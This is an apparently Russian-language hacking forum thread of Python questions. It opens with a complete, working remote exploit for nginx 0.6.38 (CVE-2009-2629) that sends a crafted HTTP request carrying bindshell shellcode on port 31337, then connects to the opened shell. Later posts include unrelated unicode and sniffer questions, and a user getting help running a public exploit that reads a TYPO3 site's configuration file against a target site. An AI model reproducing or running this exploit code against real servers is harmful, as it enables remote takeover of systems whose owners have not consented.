[Python] вопрос/ответ.

Discussion in 'Python' started by De-visible, 21 Jan 2009.

  1. Darklamar

    Darklamar New Member

    Joined:
    11 Dec 2010
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Проблема с эксплоитом, вот его код:

    Code:
    #!/usr/bin/env python   
    
    import os  
    import sys  
    import socket  
    import select  
    import struct  
    import time  
    import urllib  
    
    REQUEST_METHOD='GET ' 
    
    # NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)  
    NULLPTR='\x00\x00\x00\x00' 
    
    # NOTE - this shellcode was shamelessly stolen from the www  
    #        port 31337 bindshell for /bin/sh  
    
    SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80' 
    
       
    
    # Why did I write this up this way? Because given enough time, I think I can  
    # find a proper set of state change which can give me the same effect (ie: ../  
    # appearing as the 3rd, 4th, and 5th characters) at a later date.  
    # That's all controlled by the complex uri parsing bit, though.  
    
    DOUBLE_SLASH='//../' 
    
    BUG=DOUBLE_SLASH  
      
    
    # taken from the metasploit pattern_create.rb  
    
    PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4' 
    
    
    def connect_socket(host,port):  
    
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        try:  
            sock.connect( (host, port) )  
    
        except:  
            return 0 
    
        #sock.setblocking(0)  
        return sock  
    
    def handle_connection(sock):  
    
        while(1):  
            r, w, e = select.select( [sock, sys.stdin],  
                                     [],  
                                     [sock, sys.stdin] )  
    
            for s in r:  
    
                if s == sys.stdin:  
                    buf = sys.stdin.readline()  
    
                    try:  
                        if buf != '':  
                            sock.send(buf)  
    
                    except:  
                        print "Xon close?" 
                        return 0 
    
                elif s == sock:  
    
                    try:  
                        buf = sock.recv(100)  
    
                    except:  
                        print "Xon close?" 
                        return 0 
    
                    if buf != '':  
                        sys.stdout.write(buf)  
    
    def main(argv):  
    
        argc = len(argv)  
    
        if argc < 4:  
    
            print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])  
            print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629" 
            print "[*] host = the remote host name" 
            print "[*] port = the remote port" 
            print "[*] ctx_addr is where the context address should begin at" 
            print "[*] -b specifies a brute-force (which will start at ctx_addr" 
            sys.exit(0)  
    
    
        host = argv[1]  
        port = int(argv[2])  
        ctx_addr = int(argv[3],16)  
    
    
        brute_flag = 0 
        if(argc == 5):  
            brute_flag = 1 
    
        testing = 1 
        print "[*] target: %s:%d" % (host, port)  
    
    
        try:  
            sd = urllib.urlopen("http://%s:%d" % (host, port))  
            sd.close()  
    
        except IOError, errmsg:  
    
            print "[*] error: %s" % (errmsg)  
            sys.exit(1)  
    
        print "[*] sending exploit string to %s:%d" % (host, port)  
    
        while(testing):  
    
            CTX_ADDRESS = struct.pack('<L',ctx_addr)  
            CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)  
            POOL_ADDRESS = struct.pack('<L',ctx_addr+56)  
            DATA_ADDRESS = struct.pack('<L',ctx_addr+86)  
            RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)  
            SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)  
    
            #PADDING  
            SHELLCODE=PATTERN[:67]  
    
            #the output context structure  
            SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS  
    
            #Magic  
            SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR  
    
            #this is the context object - some null ptrs, then we set range, then  
            #pool address  
    
            SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00' 
            SHELLCODE+=NULLPTR*2+POOL_ADDRESS  
    
            #this is the data buffer object  
            SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR  
    
       
            #this is the pool memory structure ..  
            SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR  
    
            # this is the range structure  
            SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3 
    
            SHELLCODE+=SHELL  
          
            payload = REQUEST_METHOD  
            payload += BUG  
            payload += SHELLCODE  
            payload += ' HTTP/1.0\r\n\r\n' 
    
       
            sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
            sd.connect((host, port))  
            sd.send(payload)  
            sd.close()  
    
    
            if (brute_flag):  
                nsock = connect_socket(host,31337)  
    
                if nsock != 0:  
                    print "[*] Successful Exploit via buffer: %x" % (ctx_addr)  
                    testing = 0 
                    handle_connection(nsock)  
    
                else:  
                    ctx_addr = ctx_addr + 1 
    
            else:  
                testing = 0 
    
        print "[*] FIN." 
    
    if __name__ == "__main__":  
        main(sys.argv)  
        sys.exit(0)  
    
    # EOF
    
    

    Возникло два вопроса:
    1. Что такое ctx_addr? (context addres)
    2. Что это за ошибка, и как её решить
     
  2. Kupa

    Kupa Banned

    Joined:
    11 Jun 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    Я вот так декодирую:
    PHP:
    content urllib2.urlopen(conn).read()
        
    page content.decode('utf-8')
    Только убедись, что у тебя исходная страница в UTF-8 отдаётся, а не в cp-1251)
     
  3. Michelangelo

    Michelangelo New Member

    Joined:
    22 Jun 2011
    Messages:
    27
    Likes Received:
    0
    Reputations:
    0
    Вопрос наверное донельзя банальный, но гуглится у меня он плохо :(

    Как заставить функцию print выводить корректно русский текст внутри контейнеров?
    Code:
    b = (u'строка', 'string')
    >>> print b
    (u'\u0441\u0442\u0440\u043e\u043a\u0430', 'string')
    
     
  4. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    # -*- coding: utf-8 -*-
    b = unicode("строка", "UTF8") ?
     
  5. Michelangelo

    Michelangelo New Member

    Joined:
    22 Jun 2011
    Messages:
    27
    Likes Received:
    0
    Reputations:
    0
    Я работаю в консоли Python, думаю это и так включено по умолчанию.
    Мне нужно выводить русский текст в контейнерах, print'ом или аналогичной функцией. Так что это не то.
     
  6. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    >>> b = (u'строка', 'string')
    >>> print repr(b).decode('raw_unicode_escape')
    (u'строка', 'string')

    http://www.google.ru/search?q=python%20print%20unicode%20tuple
     
    #906 m00c0w, 28 Dec 2011
    Last edited: 28 Dec 2011
  7. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Решил проверить http заголовки в одном чате на питоне, при отправке сообщения все нормально, POST запрос, скрипт say.pl. Но при обновлении никакого заголовка не отправляется, с чем это связано? Флеш выключен.
     
  8. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    AnGeI что, простите? Вы сейчас пишете на питоне, или нашли некий сайт, который, как вам кажется, написан на нем? Если второе - то вопрос бессмысленнен в данном топике, надеюсь, не надо объяснять почему.
     
    _________________________
  9. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Можно сказать, что и первое и второе. Во-первых, интересно каким образом сниффер не видит данные, отправленные на клиент, почти уверен, что сайт на питоне. Во-вторых, сама реализация этого на питоне тоже интересна.
    З.Ы.: понимаю, что этот вопрос тут не несет конкретики, а всего-лишь мои неглубокие домыслы.
     
  10. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    AnGeI каким сниффером пользуетесь и что за чат?
     
    _________________________
  11. sele

    sele New Member

    Joined:
    14 Aug 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    say.pl, говорите? А вы как определили, что это питон?
     
    #911 sele, 31 Dec 2011
    Last edited: 31 Dec 2011
  12. sele

    sele New Member

    Joined:
    14 Aug 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    Советую заглянуть в самую первую строчку скрипта - там обычно пишут указание шеллу, какой интерпретатор нужно использовать для запуска скрипта. Что-то вроде:

    Code:
    #!/usr/bin/perl
    или

    Code:
    #!/usr/bin/python
    Ибо *.pl обычно называют перл скрипты. :)
     
  13. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Смотрел через логи снифера.
    Линк чата: bizarre.kiev.ua
     
  14. sele

    sele New Member

    Joined:
    14 Aug 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    А причем тут логи сниффера? Кусок кода покажите.
     
    #914 sele, 31 Dec 2011
    Last edited: 31 Dec 2011
  15. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    HttpLiveHeaders.
    Через wireshark приходят пакеты:
    Code:
    3c
    <script>m('02:36:4113400=>7Ba_85*||%></B><<','');</script>

    Нету кода.
    Значит PERL скрипт это был. Перепутал.
     
    #915 AnGeI, 31 Dec 2011
    Last edited: 31 Dec 2011
  16. sele

    sele New Member

    Joined:
    14 Aug 2011
    Messages:
    28
    Likes Received:
    2
    Reputations:
    0
    А почему perl? Как ты определил что это перл, если кода не видел? Можно назвать обычную картинку anything.php, но все равно она останется картинкой. И еще, мне почему-то кажется, что ты занимаешься ерундой.
     
    #916 sele, 31 Dec 2011
    Last edited: 31 Dec 2011
  17. AnGeI

    AnGeI Elder - Старейшина

    Joined:
    8 Dec 2008
    Messages:
    395
    Likes Received:
    79
    Reputations:
    16
    Америку вы не открыли, какой смысл маскировать скрипты чата под PERL?
    Может быть и фигней, но давайте по-существу.
     
  18. james00x

    james00x New Member

    Joined:
    6 Feb 2012
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    привет
    Проблема с питоном
    Я пытаюсь запустить http://www.exploit-db.com/exploits/8038/ но показывает ошибку:

    Code:
    C:\Python32>python ty.py   File "ty.py", line 17     print sys.argv[0], '<host> (with http://) <file
    Давным-давно время была такая же проблема, но я скачал версию 2.7 и все прошло

    17 line:

    Code:
    print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)'
     
  19. trensi

    trensi New Member

    Joined:
    19 Jan 2012
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Ну ты бы сначала прочитал как сплоит юзать.
    первым параметром нужно указать атакуемый сайт с 'http://' вначале.
    т.е. должно быть
    Code:
    C:\Python32>python ty.py http://exmple.com/
     
  20. FewG

    FewG Member

    Joined:
    25 Dec 2009
    Messages:
    136
    Likes Received:
    12
    Reputations:
    0
    Эксплойт для питона 2.7 :rolleyes: